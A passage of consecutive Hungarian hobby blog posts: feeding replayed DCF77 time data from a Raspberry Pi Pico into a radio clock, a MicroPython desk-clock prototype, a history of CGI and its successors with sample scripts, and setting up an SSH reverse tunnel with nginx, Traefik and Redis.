Végül az lett gyanús, hogy a Pico 3,3 voltot ad ki magából, az óra pedig csak 3 voltról megy, hátha túl sok neki a 3,3 volt. Előtúrtam pár ellenállást egy dobozból, de nem sikerült olyat találni, ami egy az egyben megoldja a problémát. Egy ellenállás bekötése után javult a helyzet, kettő után megjavulni látszott, úgyhogy biztonság kedvéért hármat kötöttem be végül.

Már csak egy kis kód kell hozzá. Egy korábban felvett valós adatot próbáltam meg visszajátszani, amit percenként ismételtem, de az óra sehogy sem akarta az igazságot. Belefutottam néhány bug-ba, hogy rossz adatot küldtem ki, de ezek javítása után sem akart még működni. Állítgattam egy kicsit az időzítésen, hátha túl pontos neki az, ahogy küldöm, de semmi. Végül az lett a megoldás, hogy az óra biztosra akar menni és egy adatsorozat kevés neki. Egymás után két sikeres adatsorozatra van szükség ahhoz, hogy beállítsa magát.

#include <stdio.h>

#include "pico/stdlib.h"

#define DCF_SIGNAL_PIN 12
#define DCF_ENABLED_PIN 13
#define LED_PIN 25

int main() {
  stdio_init_all();

  gpio_init(DCF_SIGNAL_PIN);
  gpio_init(DCF_ENABLED_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_SIGNAL_PIN, GPIO_OUT);
  gpio_set_dir(DCF_ENABLED_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  uint64_t buffers[] = {
    //-----PYYYYYYYYMMMMMWWWDDDDDDPHHHHHHPmmmmmmm1AZZARxxxxxxxxxxxxxx0
    0b0000000010010000001111100001001011100000000101000010100001000100,
    0b0000000010010000001111100001001011110000001101000010100001000100,
    0b0000000010010000001111100001001011110000010101000010100001000100,
    0b0000000010010000001111100001001011100000011101000010100001000100,
    0b0000000010010000001111100001001011110000100101000010100001000100,
    0b0000000010010000001111100001001011100000101101000010100001000100,
  };
  int buffer_idx = 0;

  while (true) {
    if (gpio_get(DCF_ENABLED_PIN)) {
      printf("dcf module is not enabled\n");
      sleep_ms(5000);
      continue;
    }

    uint64_t b = buffers[buffer_idx];
    ++buffer_idx;

    int length;
    for (int i = 0; i < 59; ++i) {
      length = b & 1 ? 200: 100;
      printf(b & 1 ? "1" : "0");

      gpio_put(LED_PIN, true);
      gpio_put(DCF_SIGNAL_PIN, true);
      sleep_ms(length);

      gpio_put(LED_PIN, false);
      gpio_put(DCF_SIGNAL_PIN, false);
      sleep_ms(1000 - length);

      b >>= 1;
    }
    printf("\n");

    sleep_ms(1000);
  }
}

Nem teljesítettem túl, az már egyszer biztos. Csak be vannak égetve az adatsorok, de így egy csomó konvertálgatástól megkíméltem magam. Lényeg, hogy az óra a bekapcsolás után elkezd szinkronizálni és néhány perc múlva beállítja a kapott "pontos" időt. A Pico-n lévő LED pedig eközben a jel ütemére villog.

Ezzel azt hiszem a végére is értünk kis kalandunknak, kiaknáztunk majdnem minden szórakozási lehetőséget, amit egy olcsó rádió időszinkronos óra nyújthat. Van még benne egy hőmérséklet szenzor, egy Piezo hangjelző és egy LED háttérvilágítás is, a vállalkozó szelleműeknek.

Egy ideje gondolkodom azon, hogy érdekes projekt lenne összerakni egy asztali órát. Lehetne benne mondjuk stopper, visszaszámlálók, amik tudnak párhuzamosan futni, esetleg hőmérséklet és páratartalom kijelzés, ilyesmik. Persze a sors máshogy akarta, úgyhogy nem fogunk ilyen messzire jutni.

Először is, rendeltem hozzá pár alkatrészt:

• egy háttérvilágításos LCD-t, amin van néhány gomb is
• egy Debug Probe-ot, amit csak ki akartam próbálni
• és egy Pico W-t, ami ezt az egészet majd meghajtja

Aztán el is kezdődhet a móka... miután úgy egy hónapra megfeledkezünk az egészről.

C/C++ SDK

A problémák már a Debug Probe környékén elkezdtek jelentkezni. Bár kisebb, mintha egy Pico-t alakítottunk volna át, viszont nem tudja árammal ellátni az éppen debug-olt Pico-t, úgyhogy összességében a több kábel miatt nekem egy kicsit csalódás volt.

Függetlenül attól, hogy Picoprobe vagy Debug Probe, mindkét esetben szükség volt egy extra hardverre (amit szerencsére már régebben beszereztem), hogy egyszerre tudjam rákötni a Pico-ra a kijelzőt és a probe-ot is.

Korábban már volt róla szó, hogy a CLion-os megoldás Linux-on egész szépen működött, de Windows-on beletört a bicskám. Ez csak azért probléma, mert Linux-ot a laptopomra telepítettem, az asztali gépen pedig Windows van és kényelmetlen nagyobb fejlesztéseket laptopon csinálni.

Így hát nekifutottam másodszor is a Windows-os változatnak, most WSL2-t használva. A dolgok szépen feltelepültek WSL2-ben a Linux-os leírás alapján, a usbipd-win segítségével meg is lehetett osztani a Pico-t vele, a CLion-ban is van WSL2 támogatás, úgyhogy sikeresen le tudta build-elni a projektet, de az OpenOCD-t nem tudja WSL2-ben futtatni, úgyhogy a debug-olás sajnos nem működött. Van is róla egy ticket, úgyhogy egyszer talán majd ez is megjavul.

Ilyenkor kerülnek a projektek parkolópályára, ahonnan majd évek múlva talán előkerülnek, de ez esetben volt még egy tervem. Van egy alternatív megoldás: MicroPython. Ha el tudjuk engedni a villámgyors C kódot, akkor megírhatjuk az egészet Python-ban is. Egy prototípushoz akár még elég is lehet.

MicroPython

Természetesen az ajánlott (működő) megoldással itt sem voltam elégedett, ami a Thonny nevezetű Python IDE lett volna. Nincs vele különösebb probléma, de ha már van egy PyCharm-om, akkor azt szeretném használni. Szerencsére van hozzá MicroPython plugin, amivel minden probléma nélkül fel tudtam küldeni a kódot a Pico-ra.

A Pico-ra először egy MicroPython-os UF2 fájl kerül. Esetünkben egy olyan, amit az LCD kijelző gyártója szolgáltatott, hogy az LCD-t meghajtó modulokat is el tudjuk érni. A hardver-es rész is lényegesen egyszerűbb lett így. Nincs szükség a Debug Probe-ra, csatlakoztathatjuk a Pico-t közvetlenül a kijelzőre is.

Kódkiegészítés

Nyilván túl egyszerű lett volna az élet, ha minden csak úgy működött volna. Az első probléma a kódkiegészítés volt. A MicroPython plugin-ben van ugyan valamennyi támogatás, de nem volt az igazi. Szerencsére léteznek stub-ok, mint a micropython-rp2-pico_w-stubs, ami részben megoldja a problémát, de a módosított MicroPython miatt bizonyos modulokról természetesen ez a stub sem tud. Szerencsére a gyártó csinált a saját moduljaihoz stub-ot is, de nem találtam belőle hivatalos pip csomagot, úgyhogy csak letöltöttem a ZIP-et és a fájlrendszerből telepítettem.

Szeretném azt mondani, hogy ezek után már minden gördülékenyen ment, de nem. Volt például a GfxPack osztály, aminek nem ismerte fel a PyCharm a display property-jét. Nem vagyok otthon a stub-okban, de ránézésre az jónak tűnt:

class GfxPack:
    # ...

    def __init__(self):
        self.display: PicoGraphics
        self.i2c: PimoroniI2C

Úgyhogy lehet a PyCharm-ban nem stimmel valami. Ha megmódosítottam egy kicsit a stub-ot, akkor már minden rendben volt:

class GfxPack:
    # ...

    display: PicoGraphics
    i2c: PimoroniI2C

    def __init__(self):
        ...

Na de most. Most már biztos minden jó, nem? Nem. Mondjuk úgy, hogy használható. Az importok környékén vannak még furcsaságok, nem ajánl fel importálásra bizonyos modulokat, de ha kézzel beimportálom, akkor felismeri őket.

Mindenesetre tudunk kódot írni, amit aztán le is tudunk futtatni a Pico-n, viszont a PyCharm-on belüli MicroPytho REPL valamilyen oknál fogva nem működik. A serial-ra kiküldött print-eket vagy éppen egy exception stack trace-ét nem látjuk sehol, ami azért nem könnyíti meg az életet. PuTTY segítségével rá tudok csatlakozni és működik is, viszont amíg a PuTTY rá van csatlakozva, addik a PyCharm nem tud kódot küldeni rá, úgyhogy elég kényelmetlen a helyzet. Linux-on biztos ez is működne.

Az óra

Azért a végére csak össze kellene dobni valami óra-szerűt, hogy legyen valami sikerélményünk is. A kinézetet először a számítógépen rajzolgattam meg, kiexportáltam WBMP formátumban (van még valaki, aki emlékszik a WAP-ra?), amit aztán egész egyszerűen be lehetett olvasni és beállítani a kijelzőn, hogy a tényleges hardveren is meg tudjam nézni.

from gfx_pack import GfxPack


gp = GfxPack()
gp.set_backlight(0, 180, 60, 140)

with open('pico-clock.wbm', 'rb') as f:
    buffer = bytearray([b ^ 0xFF for b in f.read()[-1024:]])

gp.display.set_framebuffer(buffer)
gp.display.update()

A WBMP elején egy változó méretű header van, de tudjuk az adat méretét, mivel a kijelző (és így a kép is) 128*64 pixeles, minden bit egy pixel állapotát tárolja, szóval az adat (128/8)*64, azaz 1024 byte. Szerencsére a framebuffer formátuma is pont ilyen, úgyhogy könnyű dolgunk van. A kép eredetileg negatívban jelent meg, úgyhogy a b ^ 0xFF segítségével még invertálni is kellett a biteket.

Itt is jelentkeztek azért kisebb problémák a PyCharm környékén. Nem másolta fel automatikusan a képfájlt a Pico-ra, kellett a fájlon egy jobb klikk és Run 'Flash pico-clock.wbm...' menüpontot nyomni (minden alkalommal, amikor a kép frissült).

Most, hogy megvan a kinézetünk, meg is feledkezhetünk róla és összerakhatunk végre egy prototípust. Az első lépés az lenne, hogy felmegyünk WiFi-re és NTP segítségével szerzünk egy pontos időt:

import network
import ntptime
import time


wlan = network.WLAN(network.STA_IF)
wlan.active(True)
wlan.connect('SSID', 'secret')

while not wlan.isconnected():
    print('WLAN is not ready\n')
    time.sleep(1)

ntptime.host = 'hu.pool.ntp.org'
ntptime.settime()

wlan.disconnect()

Aztán ezt szépen meg is jelenítjük:

from gfx_pack import GfxPack


gp = GfxPack()
gp.set_backlight(0, 0, 0, 40)

while True:
    t = time.localtime()

    gp.display.set_pen(0)
    gp.display.clear()
    gp.display.set_pen(15)

    gp.display.set_font('bitmap6')
    gp.display.text(f'{t[0]}. {t[1]:02}. {t[2]:02}.', 0, 0)

    gp.display.set_font('bitmap14_outline')
    gp.display.text(f'{t[3]:02}:{t[4]:02}', 0, 20)
    if t[5] % 2:
        gp.display.set_pen(15)
    else:
        gp.display.set_pen(0)
    gp.display.text(':', 32, 20)

    gp.display.update()

    time.sleep_ms(30)

Esetleg még a háttérvilágításról gondoskodhatunk, hogy kicsit jobban hasonlítson egy kilencvenes évekbeli Casio karórára.

light_timeout = None
while True:
    if not light_timeout and gp.switch_pressed(SWITCH_E):
        light_timeout = time.time_ns() + 2000000000
        gp.set_backlight(0, 180, 60, 140)

    if light_timeout and light_timeout < time.time_ns():
        light_timeout = None
        gp.set_backlight(0, 0, 0, 40)

    # ...

A végeredmény pedig (némi extra státusz információ hozzáadása után):

Még egy prototípushoz képest is rengeteg dolog hiányzik belőle, de első körben sajnos csak eddig jutott a projekt. Ezen kívül a MicroPython nem tud időzónákat kezelni, úgyhogy el kell költözni egy UTC időzónás országba, hogy használni is tudjuk.

Hogy ezek után mi lesz a sorsa az órának? Vajon a fiók mélyére kerül vagy talán a későbbiekben még találkozhatunk vele? Csak az idő a megmondhatója.

1993-at írunk. Egy dinamikus weboldalt kell fejlesztened, mondjuk egy vendégkönyvet, az akkoriban nagyon menő volt. Hogyan állnál neki? Ha az a válaszod, hogy ráguglizol, hogy hogyan kell csinálni, akkor el kell, hogy szomorítsalak, a Google csak 5 év múlva fog megjelenni. Az AltaVista-ra is még két évet várni kell. Stack Overflow? Még 15 év... Nem lehetett könnyű dolga a régi idők fejlesztőinek.

Néha nem árt visszatekinteni ezekre a régi időkre, hátha elkerülhetjük a hibákat, amiket elkövettek, vagy megakadályozhatnak abban, hogy újra feltaláljuk a kereket. Ilyesmi megfontolásból indultam el erre a kis felfedező útra, hogy kiderüljön, hogyan jutottunk el ahhoz a webfejlesztéshez, amit ma ismerünk.

Common Gateway Interface

A 90-es évek elején kezdték el fejleszteni, kicsivel később a 3875-ös számú RFC lett belőle. Ahogy a neve is jelzi, egy interface a webszerver és egy alkalmazás között. Ez a gyakorlatban azt jelenti, hogy ha van egy tetszőleges futtatható állományunk, azt a webszerver - megfelelő konfigurálás után - meg tudja futtatni és a kimenetét visszaküldi válaszként.

A kérés adatait környezeti változókban és a standard inputon keresztül kapja meg a programunk, a választ pedig standard output-ra kell produkálnia, egy kis formai megkötéssel (egy Content-Type header-rel kell kezdődnie a válasznak).

Előnye, hogy egyszerű, csak felmásolunk egy fájlt egy könyvtárba, futtathatóvá tesszük és kész is vagyunk. Hátránya, hogy minden request egy új process elindítását jelenti, ami lassú lehet és nem is skálázódik túl jól.

Legegyszerűbben onnan lehetett az ilyen konfigurációkat felismerni, hogy ezek az alkalmazások általában a /cgi-bin/ könyvtárban éltek, amit még a mai napig is ellenőriznek az automata scanning eszközök, hátha találnak ott valami érdekeset.

És amikor tetszőleges futtatható állományt mondtam, akkor azt tényleg úgy is értettem. Akár egy shell script is lehet egy dinamikus weboldal alapja (ha elég bátor vagy ahhoz, hogy egy shell script-ben dolgozz fel query string-eket és multipart kéréseket):

#!/bin/sh

echo "Content-Type: text/plain"
echo
echo "Hello World!"

echo
echo "Environment:"
env

echo
echo "Input:"
cat -
echo

Ha meghívjuk ezt az endpointot, akkor a következő adatokat kapjuk vissza:

$ curl -d'foo=bar' 'http://127.0.0.1:8081/cgi-bin/test.sh?foo=bar'
Hello World!

Environment:
CONTENT_TYPE=application/x-www-form-urlencoded
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.16.1
SHLVL=1
QUERY_STRING=foo=bar
HTTP_USER_AGENT=curl/7.88.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
REMOTE_PORT=51282
HTTP_ACCEPT=*/*
SERVER_SIGNATURE=
CONTENT_LENGTH=7
CONTEXT_DOCUMENT_ROOT=/usr/local/apache2/cgi-bin/
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/test.sh
HTTP_HOST=127.0.0.1:8081
REQUEST_URI=/cgi-bin/test.sh?foo=bar
SERVER_SOFTWARE=Apache/2.4.58 (Unix)
REQUEST_SCHEME=http
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=POST
SERVER_ADDR=192.168.16.2
SERVER_ADMIN=you@example.com
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/local/apache2/cgi-bin
SERVER_PORT=8081
SCRIPT_NAME=/cgi-bin/test.sh
SERVER_NAME=127.0.0.1

Input:
foo=bar

A környezeti változók nevei ismerősek lehetnek, sok helyen átvették ezeket az elnevezéseket, valószínűleg azért, hogy könnyebb legyen az átállás CGI-ről.

A lehetőségek száma határtalan, bedobáltam néhány extra példát a kapcsolódó Github repository-ba (C kódból fordított bináris? Miért is ne!), de akkoriban talán a Perl volt a cgi-bin könyvtár igazi sztárja:

#!/usr/bin/perl

print "Content-type: text/plain\n\nHello, World.\n";

print "\nEnrivonment:\n";
foreach my $key (keys %ENV) {
    print "$key=$ENV{$key}\n";
}

print "\nInput:\n";
while (<>) {
    print;
}
print "\n";

Aztán 1995-ben megérkezett a PHP. Eleinte még ugyanúgy CGI scriptként.

#!/usr/bin/php82
<?php

print("Content-Type: text/plain\n\nHello World!\n");

print("\nEnvironment:\n");
var_dump($_SERVER);

print("\nInput:\n");
var_dump(file_get_contents('php://stdin'));

Itt egy kicsit meglepett, hogy a $_SERVER tömbben találtam meg a megfelelő adatokat, nem pedig az $_ENV tömbben, lehet az újabb PHP az oka, vagy máshogy kellett volna hívnom CGI scriptek esetén, nem tudom. De nem is nagyon számít, mert nem sokkal később magunk mögött hagyhattuk a CGI-t.

Alternatív megoldások

FastCGI

Szintén 1995 körül jelenik meg a FastCGI, aminek a célja az, hogy a CGI teljesítménybeli problémáit orvosolja. A Perl-es CGI::Fast csomag alapján úgy tűnik több módon is működhet a dolog. A webszerver elindíthatja a CGI process-t egy vagy több példányban, standard input-on küldve neki az FCGI kéréseket és standard output-on várva az FCGI válaszokat. Ugyanez működhet úgy is, hogy a webszerver és az FCGI process Unix socket-en vagy rendes hálózati socket-en keresztül kommunikál. A webszerver ezután átalakítja az FCGI választ HTTP válasszá és kész is vagyunk.

A protokoll leírása alapján egy process-nek a webszerver egyszerre akár több kérést is küldhet, amit az FCGI process párhuzamosan dolgozhat fel, ha támogat ilyesmit.

A rendszer előnye, hogy egyszerűbb FCGI szervert implementálni, mint HTTP szervert (az eredeti HTTP/1.0 RFC 1945 is 60 oldalas, a HTTP/1.1 RFC 2068 pedig már 162 oldalas). Hátránya az lehet, hogy egy elég bizalmi kapcsolat van a webszerver és az FCGI szerver között, ha valaki más tud véletlenül direktbe az FCGI szerverrel beszélgetni, annak lehet, hogy nem lesz jó vége (például az FCGI szerver kódja nem annyira betonbiztos, mint a HTTP szerveré, nem viseli olyan jól a hibás kéréseket, vagy mondjuk a webszerver által kikényszerített autentikációt lehet így megkerülni).

Mint azt említettem, a FastCGI protokoll egyszerűbb, mint a HTTP, így az alkalmazások könnyebben leimplementálhatják. A móka kedvéért össze is dobtam gyorsan egy egyszerű Python-os FCGI szervert, ami csak annyira képes, hogy a korábbi CGI scriptjeinkhez hasonló választ adjon vissza minden kérésre.

mod_php

1997 környékén járhatunk, amikor megjelent a PHP 3 és a mod_php Apache modul. Legalábbis a web archívumos turkálások alapján azt a következtetést vontam le, hogy a 3-as PHP-val jött a mod_php is, de nem vagyok teljesen biztos benne. A történet szempontjából talán nem is annyira lényeges.

A mod_php esetén a PHP interpreter az Apache process-en belül fut és így futtatja le a PHP fájlokat. A szorosabb integráció egyrészt előnyös, mert nem kell kérésenként új process-t indítani, de megvan a maga hátránya is. A PHP interpreter akkor is ott foglalja a memóriát, ha a kérés csak egy statikus fájlra irányul.

Mindent összevetve viszont egész sikeresnek mondhatjuk, a mai napig ez az ajánlott mód PHP kód futtatásra Apache webszerverrel.

Simple Common Gateway Interface

A FastCGI nem bizonyult elég egyszerűnek, úgyhogy 2001 környékén érkezett egy új versenyző is, az SCGI. Az SCGI protokoll lényegesen egyszerűbb, viszont egy kapcsolaton egy időben csak egy kérés-választ lehet lebonyolítani.

Az összehasonlítás kedvéért ehhez is írtam egy egyszerű kis SCGI szervert Python-ban, ami a FastCGI szerverhez hasonlóan működik.

FastCGI, második kör

Röpke 15 évvel a protokoll megjelenése után, 2010-ben megérkezik a FastCGI támogatás a PHP-hoz is a FastCGI Process Manager (FPM) formájában.

Ehhez még hozzájön az, hogy egyesek egy idő után megunták, hogy az Apache túl lassú (visszatérő motívum a történetünk során), úgyhogy 2004-ben elhozták nekünk az Nginx-et, úgyhogy kaptunk egy rendes alternatívát az Apache és mod_php mellé az Nginx és PHP-FPM képében.

Változik a világ

Telt-múlt az idő, egyre több nyelv szeretett volna web-kompatibilis lenni. 2003-ban jött a Python a WSGI-vel, 2004-ben megjelent a Ruby on Rails, ami kezdetben CGI-ként, FCGI-ként vagy később a mod_ruby segítségével tudott futni. Aztán 2007-ben jött a Rack is, ami a WSGI-hez hasonló interface Ruby-hoz.

Ez nagyjából úgy működik, hogy valahonnan megkapjuk a HTTP kérés adatait (az adott nyelven írt webszerver, CGI, FCGI, akármi), ezek egységes formára lesznek hozva az adott nyelv webes interface-ének megfelelően, amit aztán az alkalmazás megkap.

Python esetén ez például így nézhet ki:

HTTP kérés -> Gunicorn -> WSGI környezet -> Flask -> az általunk írt kód

Ruby esetén meg valami ilyesmi:

HTTP kérés -> Unicorn -> Rack környezet -> Sinatra -> az általunk írt kód

Bár elméletben a HTTP kérés forrása több dolog is lehetne, a gyakorlatban úgy tűnik, hogy az adott nyelven írt webszerver lett a nyerő választás. Érdekes módon itt már kezdünk eltávolodni a korábban kitalált technológiáktól. Miért implementáltak le egy bonyolult HTTP szervert, ha van egyszerűbb alternatíva? Nem lett volna elég egy FCGI vagy SCGI szerver? Ki tudja.

Modern webfejlesztés

2009 környékén megjelent a Node.js, mert valakinek ismét nem tetszett, hogy az Apache túl lassú és nem tud elég kérést kezelni. Akkoriban jelent meg a Go is. Mindkét nyelv része volt egy-egy HTTP szerver, ami azt hiszem el is döntötte, hogy hogyan lehet majd ezeken a nyelveken webes alkalmazásokat fejleszteni.

Az általános megoldás az lett, hogy a beépített HTTP szerver köré írtak keretrendszereket, a keretrendszerek segítségével pedig alkalmazásokat, így minden egyes alkalmazás a saját maga webszervere is lett egyben.

Persze ez idő alatt a világ is sokat változott. A nagy alkalmazások szét lettek szedve sok kis alkalmazásra, amiknél egyre ritkább lett, hogy teljes vagy részleges HTML oldalakat adjanak vissza (olyannyira, hogy az újabb generációnak már újdonság a template-ek szerver oldalon renderelése), így az igények is változtak.

Az alkalmazások előtt van általában már néhány proxy (HAProxy, Nginx, Traefik és társaik), amik alapvetően HTTP kérésekkel szeretnek dolgozni, így csak egy extra (valószínűleg felesleges) mozgó alkatrész lenne a gépezetben még egy HTTP szerver az alkalmazás előtt, aminek csak az a feladata, hogy HTTP-ről mondjuk FCGI-re fordítson.

Jó eséllyel az optimalizálás sem számít már annyira, mint régen. Nem feltétlen kell, hogy C-ben legyen írva a HTTP szerver, egy Python-os implementáció is képes lehet a szükséges teljesítményre.

Összegzés

Messzire jutottunk, talán sokat is felejtettünk az út során, de a fent említett dolgok még ma is élnek és virulnak (vagy legalábbis működőképesek), mint ahogy azt a kapcsolódó CGI játszótér is mutatja, aminek segítségével ki lehet próbálni őket. Talán vannak olyan esetek, ahol még használni is érdemes őket. Kár lenne Kubernetes klasztert pazarolni egy problémára, amit egy CGI script is képes gond nélkül megoldani.

Előfordul néha, hogy szeretnénk hozzáférést biztosítani valakinek a gépünkön futó dolgokhoz. Mondjuk épp egy alkalmazást fejlesztünk és valakivel szeretnénk megosztani az aktuális állapotot anélkül, hogy minden apró változtatást push-olni kelljen, aztán megvárni a build-et, hogy kikerüljön az egész a staging környezetre.

A hálózati adottságoktól függően ez akár egy elég bonyolult művelet is lehet (tűzfalak, port forwarding, NAT traversal). Talán éppen ezért kész szolgáltatások is vannak már ennek a problémának a megoldására (nem is kevés, ami azt illeti), de nem lenne túl érdekes ez a bejegyzés, ha ilyen irányba indulnánk el.

Inkább azt fogjuk megkísérelni, hogy olyan, háztartásokban gyakran előforduló eszközöket keresünk, amivel meg tudjuk oldani ezt a problémát. Ilyen eszköz például az SSH kliens, ami szinte mindenkinek van otthon a fiók mélyén (főleg amióta már a Windows-nak is a része egy ideje). Ezen kívül szükségünk lesz még egy jól kivajazott tepsire publikusan elérhető szerverre (mondjuk egy olcsó VPS valamelyik szolgáltatónál) és kezdődhet is a buli.

Egyszerű mód

Van egy alkalmazásunk a helyi gépen, ami 127.0.0.1:8080-on várja a bejövő kapcsolatokat. Ezt egy egyszerű Python HTTP szerver fogja most szimulálni:

local:~$ mkdir fake-app
local:~$ cd fake-app
local:~/fake-app$ echo 'hello world' >index.html
local:~/fake-app$ python -m http.server -b 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...

Egy másik terminálban ki is próbálhatjuk, hogy működik-e:

local:~$ curl 127.0.0.1:8080
hello world

Van még ezen kívül egy VPS-ünk, aminek a tunnel.example.org nevet adtuk. Ezzel a felállással kiadhatjuk a következő parancsot a helyi gépünkön:

local:~$ ssh -R 8080:127.0.0.1:8080 user@tunnel.example.org

Ez annyit csinál, hogy a tunnel gépen a 8080-as porton a helyi gépünk 8080-as portján futó alkalmazást fogjuk elérni (SSH remote port forwarding). Ki is próbálhatjuk a tunnel gépen:

tunnel:~$ curl 127.0.0.1:8080
hello world

Az SSH (valószínűleg biztonsági okokból) 127.0.0.1-re fogja a 8080-on hallgatózó szerverét bind-olni, úgyhogy kívülről nem fogjuk tudni elérni az alkalmazást, akkor sem ha a tűzfal szabályaink egyébként megengednék.

local:~$ curl tunnel.example.org:8080
curl: (7) Failed to connect to tunnel.example.org port 8080 after 30 ms: Couldn't connect to server

Ezt kiküszöbölhetjük azzal, hogy a /etc/ssh/sshd_config fájlban a GatewayPorts értékét megváltoztatjuk clientspecified-ra és kicsit módosítunk az ssh parancsunkon:

local:~$ ssh -R 0.0.0.0:8080:127.0.0.1:8080 user@tunnel.example.org

Így már működik a dolog, ha a tűzfal beállításaink is rendben vannak:

local:~$ curl tunnel.example.org:8080
hello world

Saját használatra megfelelő megoldás lehet, de egy hajszállal elegánsabb, ha maradunk az első változatnál és elindítunk mellé egy nginx-et a tunnel gépen, ami továbbítja a kéréseket a 127.0.0.1:8080-ra:

/etc/nginx/sites-available/tunnel

server {
    listen 80;
    server_name tunnel.example.org;

    location / {
        proxy_pass http://127.0.0.1:8080/;
    }
}

Az oldal engedélyezése és az nginx konfiguráció újratöltése:

tunnel:~# ln -s /etc/nginx/sites-available/tunnel /etc/nginx/sites-enabled/
tunnel:~# systemctl reload nginx

És kész is vagyunk:

local:~$ curl tunnel.example.org
hello world

Talán túlzásnak tűnhet az nginx, de ha már itt van, akkor egyéb dolgokra is felhasználhatjuk:

• egyedi hiba oldal, ha a helyi alkalmazás épp nem fut, vagy nem vagyunk ssh-val felcsatlakozva
• logolás
• HTTPS az nginx és a külső kliensek között
• mTLS a helyi alkalmazás és az nginx között (valószínűleg ehhez a helyi gépen is kelleni fog egy nginx)
• basic autentikáció a külső klienseknek

El is készült az egyszerű megoldásunk, egy nem túl bonyolult SSH parancs segítségével megoszthatjuk másokkal a helyi alkalmazásunkat. Egyetlen hátránya, hogy ezt csak egy ember tudja használni egy alkalmazás megosztására egy fix címen. Valószínűleg az esetleg 99%-ában ez is elég, de azért nézzünk meg egy kicsit bonyolultabb rendszert is a móka kedvéért.

Haladó mód

Az SSH remote port forwarding tud olyat, hogy ha portnak nullát adunk meg, akkor egy random porton fog figyelni a tunnel gépen:

local:~$ ssh -R 0:127.0.0.1:8080 user@tunnel.example.org
Allocated port 41025 for remote forward to 127.0.0.1:8080

[...]

Szóval csinálhatnánk valami olyasmit, hogy felcsatlakozásnál generálunk egy random host-ot (<random>.tunnel.example.org) és az erre a random host-ra érkező kéréseket az nginx a megfelelő portra irányítaná tovább. Ezzel megoldódna az egy ember/egy alkalmazás probléma.

Amennyire tudom, az nginx nem annyira jeleskedik a dinamikus konfigurációk terén. Generálhatnánk fájlokat és reload-olhatnánk az nginx-et, de ez a megoldás nem nyerte el a tetszésemet. Aztán eszembe jutott a Traefik, hogy az kellemesen dinamikus, van is egy provider benne, ami Redis kulcs-értékek alapján tudja beállítani a dolgokat, úgyhogy elindultam ebbe az irányba.

A Traefik telepítése nem túl barátságos, ha nem akar az ember Docker-t használni. A Docker (Swarm) viszont nem túl barátságos a host gépen 127.0.0.1-en figyelő szolgáltatások elérésében, úgyhogy ezzel még mindig jobban járunk.

Szóval nincs más hátra, mint letölteni a binárist, amit aztán valahogy megfuttatunk.

tunnel:~# mkdir -p /opt/traefik
tunnel:~# cd /opt/traefik
tunnel:/opt/traefik# wget https://github.com/traefik/traefik/releases/download/v2.10.5/traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# tar -xf traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# rm traefik_v2.10.5_linux_amd64.tar.gz

Első gondolatom az volt, hogy csak úgy jó igénytelen módon tolok neki egy ./traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80 & parancsot, had fusson a háttérben, az is bőven elég ahhoz, hogy kipróbáljam a dolgokat, de végül csak összeraktam hozzá egy systemd service fájlt.

/etc/systemd/system/traefik.service

[Unit]
Description=traefik
After=network-online.target
Wants=network-online.target systemd-networkd-wait-online.service

[Service]
Restart=on-abnormal
User=traefik
Group=traefik
ExecStart=/opt/traefik/traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true

Hogy működjön, szükségünk lesz egy traefik felhasználóra és csoportra, valamint egy Redis szerverre is.

tunnel:~# adduser --disabled-login --disabled-password --no-create-home traefik
tunnel:~# apt-get install redis-server

Aztán már csak a systemd dolgait kell újratölteni.

tunnel:~# systemctl daemon-reload
tunnel:~# systemctl start traefik.service

Első körben az eredeti működést szerettem volna reprodukálni, mielőtt még belekezdenék a dinamikus dolgok kitalálásába, úgyhogy a következő kulcs-érték párokat pakoltam be a Redis-be:

tunnel:~# redis-cli
127.0.0.1:6379> SET traefik/http/services/tunnel-service/loadbalancer/servers/0/url http://127.0.0.1:8080/
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/rule Host(`tunnel.example.org`)
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/entrypoints/0 web
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/service tunnel-service

Van egy service-ünk, ami a 127.0.0.1:8080-on figyel és egy router szabály, ami a tunnel.example.org-ra, 80-as porton (web entrypoint, amit a Traefik indításánál definiáltunk) érkező kéréseket a service-ünk felé irányítja. Szerencsére ez ugyanolyan jól működött, mint az eredeti nginx-es megoldás, úgyhogy jöhet a dinamizálás.

Az ötletem azon alapult, hogy az authorized_keys fájlban meg lehet adni egy saját parancsot, ami SSH csatlakozáskor lefut (így működik például a Git pull/push is SSH-n keresztül). Itt megadhatnánk egy kis shell scriptet, ami felvenné a megfelelő kulcs-érték párokat Redis-be, aztán pedig csak várna, amíg a felhasználó le nem zárja a kapcsolatot. Bezárásnál pedig feltakarítaná a létrehozott Redis kulcsokat.

Ehhez érdemes lehet egy külön felhasználót felvenni, hogy továbbra is tudjuk használni hagyományos módon is az SSH-t az eredeti felhasználónkkal:

tunnel:~# adduser --disabled-password mole

Az authorized_keys fájlba pedig felveszünk egy ilyen sort az SSH kulcsunkkal:

/home/mole/.ssh/authorized_keys

command="/home/mole/tunnel.sh",no-X11-forwarding,no-agent-forwarding <SSH kulcs>

A parancsnak valami ilyesmi felépítése lenne:

/home/mole/tunnel.sh

#!/bin/bash -e

setup() {
    # setup
}

cleanup() {
    # cleanup
    exit 0
}

trap 'cleanup' INT

setup
tail -f /dev/null

